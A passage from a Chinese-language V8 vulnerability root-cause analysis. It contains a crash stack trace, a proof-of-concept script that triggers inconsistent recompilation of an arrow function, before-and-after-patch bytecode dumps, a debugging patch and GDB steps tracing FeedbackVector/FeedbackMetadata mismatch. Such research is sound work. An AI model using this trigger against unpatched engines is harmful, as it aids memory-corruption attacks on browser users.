#FailureMessage Object: 0x7fff76c14b30
==== C stack trace ===============================

    out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f24a20e7f1e]
    out/x64.debug/libv8_libplatform.so(+0x4ad9d) [0x7f24a203dd9d]
    out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x16f) [0x7f24a20b6b9f]
    out/x64.debug/libv8.so(v8::internal::JSFunction::InitializeFeedbackCell(v8::internal::Handle<v8::internal::JSFunction>, v8::internal::IsCompiledScope*, bool)+0x18a) [0x7f24a59c1eba]
    out/x64.debug/libv8.so(v8::internal::Compiler::Compile(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSFunction>, v8::internal::Compiler::ClearExceptionFlag, v8::internal::IsCompiledScope*)+0x2f9) [0x7f24a5018519]
    out/x64.debug/libv8.so(+0x3d3f359) [0x7f24a5e38359]
    out/x64.debug/libv8.so(v8::internal::Runtime_CompileLazy(int, unsigned long*, v8::internal::Isolate*)+0x128) [0x7f24a5e37e08]
    [0x7f243f9b33ff]

經簡易調試可發現,function指向lambda表達式實例所對應的JSFunction對象。

利用修改后的PoC2對Root Cause進行初步分析。

修改后的PoC3

修改后的PoC3源碼

function a() {
    try {
        let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
    } catch (t) {
        print(t);
    }
};
for (let j = 0; j < 13; j++) {
    {
        ((a = class b3 {
            [({ c: eval() } ? 0 : (aa = 0xff))] //修改aa的賦值,便于在字節碼中體現
        }) => { let z = 0xdeadbeef; })();
    }
    if (j == 11) {
        a();
    }
}

Lambda表達式實例的兩次編譯過程對應的字節碼

Before Patch
第一次
[generated bytecode for function:  (0x21320025a505 <SharedFunctionInfo>)]
Bytecode length: 107
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
         0x21320025a78e @    0 : 83 00 01          CreateFunctionContext [0], [1]
         0x21320025a791 @    3 : 1a f9             PushContext r1
         0x21320025a793 @    5 : 10                LdaTheHole
         0x21320025a794 @    6 : 25 02             StaCurrentContextSlot [2]
         0x21320025a796 @    8 : 0b 03             Ldar a0
         0x21320025a798 @   10 : 9d 58             JumpIfNotUndefined [88] (0x21320025a7f0 @ 98)
         0x21320025a79a @   12 : 81 01             CreateBlockContext [1]
         0x21320025a79c @   14 : 1a f8             PushContext r2
         0x21320025a79e @   16 : 10                LdaTheHole
         0x21320025a79f @   17 : 25 02             StaCurrentContextSlot [2]
         0x21320025a7a1 @   19 : 10                LdaTheHole
         0x21320025a7a2 @   20 : 25 03             StaCurrentContextSlot [3]
         0x21320025a7a4 @   22 : 10                LdaTheHole
         0x21320025a7a5 @   23 : be                Star6
         0x21320025a7a6 @   24 : 80 03 00 02       CreateClosure [3], [0], #2
         0x21320025a7aa @   28 : c1                Star3
         0x21320025a7ab @   29 : 13 02             LdaConstant [2]
         0x21320025a7ad @   31 : c0                Star4
         0x21320025a7ae @   32 : 7c 04 00 29       CreateObjectLiteral [4], [0], #41
         0x21320025a7b2 @   36 : bc                Star8
         0x21320025a7b3 @   37 : 21 05 01          LdaGlobal [5], [1]
         0x21320025a7b6 @   40 : bb                Star9
         0x21320025a7b7 @   41 : 61 f1 03          CallUndefinedReceiver0 r9, [3]
         0x21320025a7ba @   44 : 33 f2 06 05       DefineNamedOwnProperty r8, [6], [5]
         0x21320025a7be @   48 : 19 f7 f5          Mov r3, r5
         0x21320025a7c1 @   51 : 0b f2             Ldar r8
         0x21320025a7c3 @   53 : 97 05             JumpIfToBooleanFalse [5] (0x21320025a7c8 @ 58)
         0x21320025a7c5 @   55 : 0c                LdaZero
         0x21320025a7c6 @   56 : 8a 0c             Jump [12] (0x21320025a7d2 @ 68)
         0x21320025a7c8 @   58 : 00 0d ff 00       LdaSmi.Wide [255]
         0x21320025a7cc @   62 : bc                Star8
         0x21320025a7cd @   63 : 23 07 07          StaGlobal [7], [7]
         0x21320025a7d0 @   66 : 0b f2             Ldar r8
         0x21320025a7d2 @   68 : 73 f3             ToName r7
         0x21320025a7d4 @   70 : 0b f3             Ldar r7
         0x21320025a7d6 @   72 : 25 02             StaCurrentContextSlot [2]
         0x21320025a7d8 @   74 : 65 29 00 f6 04    CallRuntime [DefineClass], r4-r7
         0x21320025a7dd @   79 : 0b f7             Ldar r3
         0x21320025a7df @   81 : 25 03             StaCurrentContextSlot [3]
         0x21320025a7e1 @   83 : 80 08 01 02       CreateClosure [8], [1], #2
         0x21320025a7e5 @   87 : c0                Star4
         0x21320025a7e6 @   88 : 32 f7 09 09       SetNamedProperty r3, [9], [9]
         0x21320025a7ea @   92 : 1b f8             PopContext r2
         0x21320025a7ec @   94 : 0b f7             Ldar r3
         0x21320025a7ee @   96 : 8a 04             Jump [4] (0x21320025a7f2 @ 100)
         0x21320025a7f0 @   98 : 0b 03             Ldar a0
         0x21320025a7f2 @  100 : 25 02             StaCurrentContextSlot [2]
         0x21320025a7f4 @  102 : 13 0a             LdaConstant [10]
         0x21320025a7f6 @  104 : c4                Star0
         0x21320025a7f7 @  105 : 0e                LdaUndefined
         0x21320025a7f8 @  106 : a9                Return
Constant pool (size = 11)
0x21320025a72d: [FixedArray] in OldSpace
 - map: 0x213200002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 11
           0: 0x21320025a419 <ScopeInfo FUNCTION_SCOPE>
           1: 0x21320025a449 <ScopeInfo CLASS_SCOPE>
           2: 0x21320025a709 <FixedArray[7]>
           3: 0x21320025a615 <SharedFunctionInfo b3>
           4: 0x21320025a675 <ObjectBoilerplateDescription[3]>
           5: 0x213200006005 <String[4]: #eval>
           6: 0x2132000040a5 <String[1]: #c>
           7: 0x21320025a349 <String[2]: #aa>
           8: 0x21320025a64d <SharedFunctionInfo <instance_members_initializer>>
           9: 0x2132000071e5 <Symbol: (class_fields_symbol)>
          10: 0x21320025a761 <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)
第二次
[generated bytecode for function:  (0x21320025a505 <SharedFunctionInfo>)]
Bytecode length: 105
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
         0x21320025c46a @    0 : 83 00 02          CreateFunctionContext [0], [2]
         0x21320025c46d @    3 : 1a f9             PushContext r1
         0x21320025c46f @    5 : 10                LdaTheHole
         0x21320025c470 @    6 : 25 03             StaCurrentContextSlot [3]
         0x21320025c472 @    8 : 0b 03             Ldar a0
         0x21320025c474 @   10 : 9d 56             JumpIfNotUndefined [86] (0x21320025c4ca @ 96)
         0x21320025c476 @   12 : 81 01             CreateBlockContext [1]
         0x21320025c478 @   14 : 1a f8             PushContext r2
         0x21320025c47a @   16 : 10                LdaTheHole
         0x21320025c47b @   17 : 25 02             StaCurrentContextSlot [2]
         0x21320025c47d @   19 : 10                LdaTheHole
         0x21320025c47e @   20 : 25 03             StaCurrentContextSlot [3]
         0x21320025c480 @   22 : 10                LdaTheHole
         0x21320025c481 @   23 : be                Star6
         0x21320025c482 @   24 : 80 03 00 02       CreateClosure [3], [0], #2
         0x21320025c486 @   28 : c1                Star3
         0x21320025c487 @   29 : 13 02             LdaConstant [2]
         0x21320025c489 @   31 : c0                Star4
         0x21320025c48a @   32 : 7c 04 00 29       CreateObjectLiteral [4], [0], #41
         0x21320025c48e @   36 : bc                Star8
         0x21320025c48f @   37 : 28 05 01 02       LdaLookupGlobalSlot [5], [1], [2]
         0x21320025c493 @   41 : bb                Star9
         0x21320025c494 @   42 : 61 f1 03          CallUndefinedReceiver0 r9, [3]
         0x21320025c497 @   45 : 33 f2 06 05       DefineNamedOwnProperty r8, [6], [5]
         0x21320025c49b @   49 : 19 f7 f5          Mov r3, r5
         0x21320025c49e @   52 : 0b f2             Ldar r8
         0x21320025c4a0 @   54 : 97 05             JumpIfToBooleanFalse [5] (0x21320025c4a5 @ 59)
         0x21320025c4a2 @   56 : 0c                LdaZero
         0x21320025c4a3 @   57 : 8a 09             Jump [9] (0x21320025c4ac @ 66)
         0x21320025c4a5 @   59 : 00 0d ff 00       LdaSmi.Wide [255]
         0x21320025c4a9 @   63 : 2c 07 01          StaLookupSlot [7], #1
         0x21320025c4ac @   66 : 73 f3             ToName r7
         0x21320025c4ae @   68 : 0b f3             Ldar r7
         0x21320025c4b0 @   70 : 25 02             StaCurrentContextSlot [2]
         0x21320025c4b2 @   72 : 65 29 00 f6 04    CallRuntime [DefineClass], r4-r7
         0x21320025c4b7 @   77 : 0b f7             Ldar r3
         0x21320025c4b9 @   79 : 25 03             StaCurrentContextSlot [3]
         0x21320025c4bb @   81 : 80 08 01 02       CreateClosure [8], [1], #2
         0x21320025c4bf @   85 : c0                Star4
         0x21320025c4c0 @   86 : 32 f7 09 07       SetNamedProperty r3, [9], [7]
         0x21320025c4c4 @   90 : 1b f8             PopContext r2
         0x21320025c4c6 @   92 : 0b f7             Ldar r3
         0x21320025c4c8 @   94 : 8a 04             Jump [4] (0x21320025c4cc @ 98)
         0x21320025c4ca @   96 : 0b 03             Ldar a0
         0x21320025c4cc @   98 : 25 03             StaCurrentContextSlot [3]
         0x21320025c4ce @  100 : 13 0a             LdaConstant [10]
         0x21320025c4d0 @  102 : c4                Star0
         0x21320025c4d1 @  103 : 0e                LdaUndefined
         0x21320025c4d2 @  104 : a9                Return
Constant pool (size = 11)
0x21320025c409: [FixedArray] in OldSpace
 - map: 0x213200002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 11
           0: 0x21320025c26d <ScopeInfo FUNCTION_SCOPE>
           1: 0x21320025c29d <ScopeInfo CLASS_SCOPE>
           2: 0x21320025c3e5 <FixedArray[7]>
           3: 0x21320025c2f1 <SharedFunctionInfo b3>
           4: 0x21320025c351 <ObjectBoilerplateDescription[3]>
           5: 0x213200006005 <String[4]: #eval>
           6: 0x2132000040a5 <String[1]: #c>
           7: 0x21320025c215 <String[2]: #aa>
           8: 0x21320025c329 <SharedFunctionInfo <instance_members_initializer>>
           9: 0x2132000071e5 <Symbol: (class_fields_symbol)>
          10: 0x21320025c43d <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)
After Patch
第一次
[generated bytecode for function:  (0x00460025a505 <SharedFunctionInfo>)]
Bytecode length: 107
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
         0x460025a78e @    0 : 83 00 01          CreateFunctionContext [0], [1]
         0x460025a791 @    3 : 1a f9             PushContext r1
         0x460025a793 @    5 : 10                LdaTheHole
         0x460025a794 @    6 : 25 02             StaCurrentContextSlot [2]
         0x460025a796 @    8 : 0b 03             Ldar a0
         0x460025a798 @   10 : 9d 58             JumpIfNotUndefined [88] (0x460025a7f0 @ 98)
         0x460025a79a @   12 : 81 01             CreateBlockContext [1]
         0x460025a79c @   14 : 1a f8             PushContext r2
         0x460025a79e @   16 : 10                LdaTheHole
         0x460025a79f @   17 : 25 02             StaCurrentContextSlot [2]
         0x460025a7a1 @   19 : 10                LdaTheHole
         0x460025a7a2 @   20 : 25 03             StaCurrentContextSlot [3]
         0x460025a7a4 @   22 : 10                LdaTheHole
         0x460025a7a5 @   23 : be                Star6
         0x460025a7a6 @   24 : 80 03 00 02       CreateClosure [3], [0], #2
         0x460025a7aa @   28 : c1                Star3
         0x460025a7ab @   29 : 13 02             LdaConstant [2]
         0x460025a7ad @   31 : c0                Star4
         0x460025a7ae @   32 : 7c 04 00 29       CreateObjectLiteral [4], [0], #41
         0x460025a7b2 @   36 : bc                Star8
         0x460025a7b3 @   37 : 21 05 01          LdaGlobal [5], [1]
         0x460025a7b6 @   40 : bb                Star9
         0x460025a7b7 @   41 : 61 f1 03          CallUndefinedReceiver0 r9, [3]
         0x460025a7ba @   44 : 33 f2 06 05       DefineNamedOwnProperty r8, [6], [5]
         0x460025a7be @   48 : 19 f7 f5          Mov r3, r5
         0x460025a7c1 @   51 : 0b f2             Ldar r8
         0x460025a7c3 @   53 : 97 05             JumpIfToBooleanFalse [5] (0x460025a7c8 @ 58)
         0x460025a7c5 @   55 : 0c                LdaZero
         0x460025a7c6 @   56 : 8a 0c             Jump [12] (0x460025a7d2 @ 68)
         0x460025a7c8 @   58 : 00 0d ff 00       LdaSmi.Wide [255]
         0x460025a7cc @   62 : bc                Star8
         0x460025a7cd @   63 : 23 07 07          StaGlobal [7], [7]
         0x460025a7d0 @   66 : 0b f2             Ldar r8
         0x460025a7d2 @   68 : 73 f3             ToName r7
         0x460025a7d4 @   70 : 0b f3             Ldar r7
         0x460025a7d6 @   72 : 25 02             StaCurrentContextSlot [2]
         0x460025a7d8 @   74 : 65 29 00 f6 04    CallRuntime [DefineClass], r4-r7
         0x460025a7dd @   79 : 0b f7             Ldar r3
         0x460025a7df @   81 : 25 03             StaCurrentContextSlot [3]
         0x460025a7e1 @   83 : 80 08 01 02       CreateClosure [8], [1], #2
         0x460025a7e5 @   87 : c0                Star4
         0x460025a7e6 @   88 : 32 f7 09 09       SetNamedProperty r3, [9], [9]
         0x460025a7ea @   92 : 1b f8             PopContext r2
         0x460025a7ec @   94 : 0b f7             Ldar r3
         0x460025a7ee @   96 : 8a 04             Jump [4] (0x460025a7f2 @ 100)
         0x460025a7f0 @   98 : 0b 03             Ldar a0
         0x460025a7f2 @  100 : 25 02             StaCurrentContextSlot [2]
         0x460025a7f4 @  102 : 13 0a             LdaConstant [10]
         0x460025a7f6 @  104 : c4                Star0
         0x460025a7f7 @  105 : 0e                LdaUndefined
         0x460025a7f8 @  106 : a9                Return
Constant pool (size = 11)
0x460025a72d: [FixedArray] in OldSpace
 - map: 0x004600002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 11
           0: 0x00460025a419 <ScopeInfo FUNCTION_SCOPE>
           1: 0x00460025a449 <ScopeInfo CLASS_SCOPE>
           2: 0x00460025a709 <FixedArray[7]>
           3: 0x00460025a615 <SharedFunctionInfo b3>
           4: 0x00460025a675 <ObjectBoilerplateDescription[3]>
           5: 0x004600006005 <String[4]: #eval>
           6: 0x0046000040a5 <String[1]: #c>
           7: 0x00460025a349 <String[2]: #aa>
           8: 0x00460025a64d <SharedFunctionInfo <instance_members_initializer>>
           9: 0x0046000071e5 <Symbol: (class_fields_symbol)>
          10: 0x00460025a761 <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)
第二次
[generated bytecode for function:  (0x00460025a505 <SharedFunctionInfo>)]
Bytecode length: 107
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
         0x460025c41a @    0 : 83 00 01          CreateFunctionContext [0], [1]
         0x460025c41d @    3 : 1a f9             PushContext r1
         0x460025c41f @    5 : 10                LdaTheHole
         0x460025c420 @    6 : 25 02             StaCurrentContextSlot [2]
         0x460025c422 @    8 : 0b 03             Ldar a0
         0x460025c424 @   10 : 9d 58             JumpIfNotUndefined [88] (0x460025c47c @ 98)
         0x460025c426 @   12 : 81 01             CreateBlockContext [1]
         0x460025c428 @   14 : 1a f8             PushContext r2
         0x460025c42a @   16 : 10                LdaTheHole
         0x460025c42b @   17 : 25 02             StaCurrentContextSlot [2]
         0x460025c42d @   19 : 10                LdaTheHole
         0x460025c42e @   20 : 25 03             StaCurrentContextSlot [3]
         0x460025c430 @   22 : 10                LdaTheHole
         0x460025c431 @   23 : be                Star6
         0x460025c432 @   24 : 80 03 00 02       CreateClosure [3], [0], #2
         0x460025c436 @   28 : c1                Star3
         0x460025c437 @   29 : 13 02             LdaConstant [2]
         0x460025c439 @   31 : c0                Star4
         0x460025c43a @   32 : 7c 04 00 29       CreateObjectLiteral [4], [0], #41
         0x460025c43e @   36 : bc                Star8
         0x460025c43f @   37 : 21 05 01          LdaGlobal [5], [1]
         0x460025c442 @   40 : bb                Star9
         0x460025c443 @   41 : 61 f1 03          CallUndefinedReceiver0 r9, [3]
         0x460025c446 @   44 : 33 f2 06 05       DefineNamedOwnProperty r8, [6], [5]
         0x460025c44a @   48 : 19 f7 f5          Mov r3, r5
         0x460025c44d @   51 : 0b f2             Ldar r8
         0x460025c44f @   53 : 97 05             JumpIfToBooleanFalse [5] (0x460025c454 @ 58)
         0x460025c451 @   55 : 0c                LdaZero
         0x460025c452 @   56 : 8a 0c             Jump [12] (0x460025c45e @ 68)
         0x460025c454 @   58 : 00 0d ff 00       LdaSmi.Wide [255]
         0x460025c458 @   62 : bc                Star8
         0x460025c459 @   63 : 23 07 07          StaGlobal [7], [7]
         0x460025c45c @   66 : 0b f2             Ldar r8
         0x460025c45e @   68 : 73 f3             ToName r7
         0x460025c460 @   70 : 0b f3             Ldar r7
         0x460025c462 @   72 : 25 02             StaCurrentContextSlot [2]
         0x460025c464 @   74 : 65 29 00 f6 04    CallRuntime [DefineClass], r4-r7
         0x460025c469 @   79 : 0b f7             Ldar r3
         0x460025c46b @   81 : 25 03             StaCurrentContextSlot [3]
         0x460025c46d @   83 : 80 08 01 02       CreateClosure [8], [1], #2
         0x460025c471 @   87 : c0                Star4
         0x460025c472 @   88 : 32 f7 09 09       SetNamedProperty r3, [9], [9]
         0x460025c476 @   92 : 1b f8             PopContext r2
         0x460025c478 @   94 : 0b f7             Ldar r3
         0x460025c47a @   96 : 8a 04             Jump [4] (0x460025c47e @ 100)
         0x460025c47c @   98 : 0b 03             Ldar a0
         0x460025c47e @  100 : 25 02             StaCurrentContextSlot [2]
         0x460025c480 @  102 : 13 0a             LdaConstant [10]
         0x460025c482 @  104 : c4                Star0
         0x460025c483 @  105 : 0e                LdaUndefined
         0x460025c484 @  106 : a9                Return
Constant pool (size = 11)
0x460025c3b9: [FixedArray] in OldSpace
 - map: 0x004600002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 11
           0: 0x00460025c21d <ScopeInfo FUNCTION_SCOPE>
           1: 0x00460025c24d <ScopeInfo CLASS_SCOPE>
           2: 0x00460025c395 <FixedArray[7]>
           3: 0x00460025c2a1 <SharedFunctionInfo b3>
           4: 0x00460025c301 <ObjectBoilerplateDescription[3]>
           5: 0x004600006005 <String[4]: #eval>
           6: 0x0046000040a5 <String[1]: #c>
           7: 0x00460025c1c5 <String[2]: #aa>
           8: 0x00460025c2d9 <SharedFunctionInfo <instance_members_initializer>>
           9: 0x0046000071e5 <Symbol: (class_fields_symbol)>
          10: 0x00460025c3ed <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)

Root Cause

預備知識1

Feedback(反饋)機制

簡介

V8中的Feedback機制是:解釋器Ignition為Inline Cache和優化編譯器TurboFan提供函數過往執行時變量和參數類型信息的手段。

數據結構

函數的Feedback信息分為兩部分,一部分是FeedbackMetadata ,另一部分是FeedbackVector

它們的存儲位置分別是:

  • Feedback Vector: [JSFunction] -> feedback_cell(0x14)[FeedbackCell] -> value(0x4)[FeedbackVector]
  • length(0x4)[Int32]
  • Feedback Metadata: [JSFunction] -> shared_function_info(0xC)[SharedFunctionInfo] -> outer_scope_info_or_feedback_metadata(0xC)[FeedbackMetadata]
  • slot_count(0x4)[Int32]

其中,FeedbackVector的length域和FeedbackMetadata的slot_count域應當始終相等。它們都代表FeedbackVector數據結構中存儲反饋信息的數組長度。

Feedback Metadata

Feedback Metadata的地址位于JSFunction對象的shared_function_info域對應的SharedFunctionInfo對象中,主要存儲FeedbackVector各數組的長度。一個典型的FeedbackMetadata調試打印如下所示:

0x18b40025c51d: [FeedbackMetadata] in OldSpace
 - map: 0x18b4000029a9 <Map(FEEDBACK_METADATA_TYPE)>
 - slot_count: 9
 - create_closure_slot_count: 2
 Slot #0 Literal
 Slot #1 LoadGlobalNotInsideTypeof
 Slot #3 Call
 Slot #5 DefineNamedOwn
 Slot #7 SetNamedStrict
Feedback Vector

Feedback Vector的地址存儲在JSFunction對象的feedback_cell域對應的FeedbackCell對象的value域中。負責具體存放過往函數執行時的變量及參數的類型信息。一個典型的FeedbackVector調試打印如下所示:

0x18b40025af0d: [FeedbackVector] in OldSpace
 - map: 0x18b40000273d <Map(FEEDBACK_VECTOR_TYPE)>
 - length: 11
 - shared function info: 0x18b40025a505 <SharedFunctionInfo>
 - no optimized code
 - tiering state: TieringState::kNone
 - maybe has maglev code: 0
 - maybe has turbofan code: 0
 - invocation count: 4
 - profiler ticks: 0
 - closure feedback cell array: 0x18b40025a8d9: [ClosureFeedbackCellArray] in OldSpace
   - map: 0x18b400002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
   - length: 2
            0: 0x18b40025a8e9 <FeedbackCell[many closures]>
            1: 0x18b40025a8f5 <FeedbackCell[many closures]>

 - slot #0 Literal  {
     [0]: 0x18b40025b091 <AllocationSite>
  }
 - slot #1 LoadGlobalNotInsideTypeof MONOMORPHIC
   [weak] 0x18b40025442d <PropertyCell name=0x18b400006005 <String[4]: #eval> value=0x18b40024af25 <JSFunction eval (sfi = 0x18b40021dca1)>> {
     [1]: [weak] 0x18b40025442d <PropertyCell name=0x18b400006005 <String[4]: #eval> value=0x18b40024af25 <JSFunction eval (sfi = 0x18b40021dca1)>>
     [2]: 0x18b4000073e5 <Symbol: (uninitialized_symbol)>
  }
 - slot #3 Call MONOMORPHIC {
     [3]: [weak] 0x18b40024af25 <JSFunction eval (sfi = 0x18b40021dca1)>
     [4]: 8
  }
 - slot #5 DefineNamedOwn MONOMORPHIC {
     [5]: [weak] 0x18b40025a929 <Map[16](HOLEY_ELEMENTS)>
     [6]: 3604480
  }
 - slot #7 StoreGlobalStrict UNINITIALIZED {
     [7]: [cleared]
     [8]: 0x18b4000073e5 <Symbol: (uninitialized_symbol)>
  }
 - slot #9 SetNamedStrict POLYMORPHIC
   [weak] 0x18b40025b009 <Map[32](HOLEY_ELEMENTS)>: StoreHandler(Smi)(kind = kSlow, keyed access store mode = STANDARD_STORE)

   [weak] 0x18b40025b0d5 <Map[32](HOLEY_ELEMENTS)>: StoreHandler(Smi)(kind = kSlow, keyed access store mode = STANDARD_STORE)
 {
     [9]: 0x18b40010d061 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
     [10]: 0x18b4000073e5 <Symbol: (uninitialized_symbol)>
  }

0x18b40000273d: [Map] in ReadOnlySpace
 - type: FEEDBACK_VECTOR_TYPE
 - instance size: variable
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x18b4000023e1 <undefined>
 - prototype_validity cell: 0
 - instance descriptors (own) #0: 0x18b4000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
 - prototype: 0x18b400002261 <null>
 - constructor: 0x18b400002261 <null>
 - dependent code: 0x18b4000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

對于FeedbackVector每個槽(Slot)的調試打印信息,解釋如下:

Slot #ID Bytecode_Name Inline_Cache_Type 分別指示:

  • ID:FeedBack Vector的Slot號。
  • Bytecode_Name:指示哪個類型的字節碼用到了該FeedBack Vector的Slot。對于需要Feedback Slot的字節碼,字節碼在被生成時會被自動分配一個Feedback Slot ID。
  • Inline_Cache_Type:指示該FeedBack Slot的IC類型。可能類型包括未初始化(UNINITIALIZED)、單態(MONOMORPHIC)、多態(POLYMORPHIC)或其它類型。

第一次分析:PoC2從崩潰現象入手的FeedbackMetadata不一致逆推分析,發現字節碼的不一致

運行參數及初始配置

運行修改后的PoC2,d8運行參數:

./d8 --allow-natives-syntax --print-bytecode --trace-flush-bytecode --trace-lazy --no-concurrent_recompilation --no-concurrent-sweeping --print-builtin-info PoC.js

其中,print-builtin-info 選項所加代碼參見:https://github.com/bjrjk/v8/tree/323ada0128-Patch。

加入print-builtin-info 選項對應的代碼后,再加入如下補丁并編譯:

diff --git a/src/ic/accessor-assembler.cc b/src/ic/accessor-assembler.cc
index 8d2107721a..121822d8c0 100644
--- a/src/ic/accessor-assembler.cc
+++ b/src/ic/accessor-assembler.cc
@@ -3358,9 +3358,12 @@ void AccessorAssembler::LoadGlobalIC_TryPropertyCellCase(
     const LazyNode<Context>& lazy_context, ExitPoint* exit_point,
     Label* try_handler, Label* miss) {
   Comment("LoadGlobalIC_TryPropertyCellCase");
+  Print("--- Debug: LoadGlobalIC_TryPropertyCellCase ---");

   Label if_lexical_var(this), if_property_cell(this);
   TNode<MaybeObject> maybe_weak_ref = LoadFeedbackVectorSlot(vector, slot);
+  Print("slot", slot);
+  Print("vector", vector);
   Branch(TaggedIsSmi(maybe_weak_ref), &if_lexical_var, &if_property_cell);

   BIND(&if_property_cell);

調試過程

  • v8::internal::DebugPrintImpl(v8::internal::MaybeObject, std::Cr::basic_ostream<char, std::Cr::char_traits >&) at src/runtime/runtime-test.cc:1085 加入軟件斷點,在void AccessorAssembler::LoadGlobalIC_TryPropertyCellCase 的每個Print 語句后斷下。

image

  • 該軟件斷點共命中6次。根據打印出的調試信息,我們可以發現FeedbackVector的length與FeedbackMetadata的slot_count相等。這是正常情況。
DebugPrint: 0x37060025af0d: [FeedbackVector] in OldSpace
 - map: 0x37060000273d <Map(FEEDBACK_VECTOR_TYPE)>
 - length: 11 [!]
 - shared function info: 0x37060025a505 <SharedFunctionInfo>
 - no optimized code
 - tiering state: TieringState::kNone
 - maybe has maglev code: 0
 - maybe has turbofan code: 0
 - invocation count: 2
 - profiler ticks: 0
 - closure feedback cell array: 0x37060025a8d9: [ClosureFeedbackCellArray] in OldSpace
 - map: 0x370600002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
 - length: 2
           0: 0x37060025a8e9 <FeedbackCell[many closures]>
           1: 0x37060025a8f5 <FeedbackCell[many closures]>

 - slot #0 Literal  {
     [0]: 1
  }
 - slot #1 LoadGlobalNotInsideTypeof UNINITIALIZED {
     [1]: [cleared]
     [2]: 0x3706000073e5 <Symbol: (uninitialized_symbol)>
  }
 - slot #3 Call UNINITIALIZED {
     [3]: 0x3706000073e5 <Symbol: (uninitialized_symbol)>
     [4]: 0
  }
 - slot #5 DefineNamedOwn UNINITIALIZED {
     [5]: 0x3706000073e5 <Symbol: (uninitialized_symbol)>
     [6]: 0x3706000073e5 <Symbol: (uninitialized_symbol)>
  }
 - slot #7 StoreGlobalStrict UNINITIALIZED {
     [7]: [cleared]
     [8]: 0x3706000073e5 <Symbol: (uninitialized_symbol)>
  }
 - slot #9 SetNamedStrict UNINITIALIZED {
     [9]: 0x3706000073e5 <Symbol: (uninitialized_symbol)>
     [10]: 0x3706000073e5 <Symbol: (uninitialized_symbol)>
  }
0x37060000273d: [Map] in ReadOnlySpace
 - type: FEEDBACK_VECTOR_TYPE
 - instance size: variable
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x3706000023e1 <undefined>
 - prototype_validity cell: 0
 - instance descriptors (own) #0: 0x3706000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
 - prototype: 0x370600002261 <null>
 - constructor: 0x370600002261 <null>
 - dependent code: 0x3706000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

0x37060025a505: [SharedFunctionInfo] in OldSpace
 - map: 0x370600002625 <Map[40](SHARED_FUNCTION_INFO_TYPE)>
 - name: 0x370600002529 <String[0]: #>
 - inferred name: 0x370600002529 <String[0]: #>
 - kind: ArrowFunction
 - syntax kind: AnonymousExpression
 - function_map_index: 205
 - formal_parameter_count: 1
 - expected_nof_properties: 2
 - language_mode: sloppy
 - data: 0x37060025a769 <BytecodeArray[105]>
 - code (from data): 0x37060020b5b5 <CodeDataContainer BUILTIN InterpreterEntryTrampoline>
 - source code: (a = class b3 {
            [({ c: eval() } ? 0 : (aa = 1))]
        }) => { let z = 0xdeadbeef; }
 - script: 0x37060025a2f5 <Script>
 - function token position: 472
 - start position: 472
 - end position: 570
 - no debug info
 - scope info: 0x37060025a429 <ScopeInfo FUNCTION_SCOPE>
 - outer scope info: 0x37060025a40d <ScopeInfo BLOCK_SCOPE>
 - length: 0
 - feedback_metadata: 0x37060025a7f5: [FeedbackMetadata] in OldSpace
 - map: 0x3706000029a9 <Map(FEEDBACK_METADATA_TYPE)>
 - slot_count: 11 [!]
 - create_closure_slot_count: 2
 Slot #0 Literal
 Slot #1 LoadGlobalNotInsideTypeof
 Slot #3 Call
 Slot #5 DefineNamedOwn
 Slot #7 StoreGlobalStrict
 Slot #9 SetNamedStrict
  • 在軟件斷點最后一次命中時,參考打印出的對象信息,為存儲指向Feedback Metadata的壓縮指針的內存位置下硬件寫斷點。
  • 具體方式是:從Feedback Vector的調試信息中查找shared_function_info的內存地址,通過偏移+0xC找到存放FeedbackMetadata指針的內存,并使用watch *addr 命令下斷。
DebugPrint: 0x18b40025af0d: [FeedbackVector] in OldSpace
 - map: 0x18b40000273d <Map(FEEDBACK_VECTOR_TYPE)>
 - length: 11
 - shared function info: 0x18b40025a505 <SharedFunctionInfo>
 - no optimized code
 - tiering state: TieringState::kNone
 - maybe has maglev code: 0
 - maybe has turbofan code: 0
 - invocation count: 4
 - profiler ticks: 0
 - closure feedback cell array: 0x18b40025a8d9: [ClosureFeedbackCellArray] in OldSpace
 - map: 0x18b400002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
 - length: 2
           0: 0x18b40025a8e9 <FeedbackCell[many closures]>
           1: 0x18b40025a8f5 <FeedbackCell[many closures]>

GDB: watch *0x18b40025a510
  • 該硬件寫斷點共命中兩次。第一次命中硬件寫斷點時的函數調用棧可以驗證我們前面的判斷:
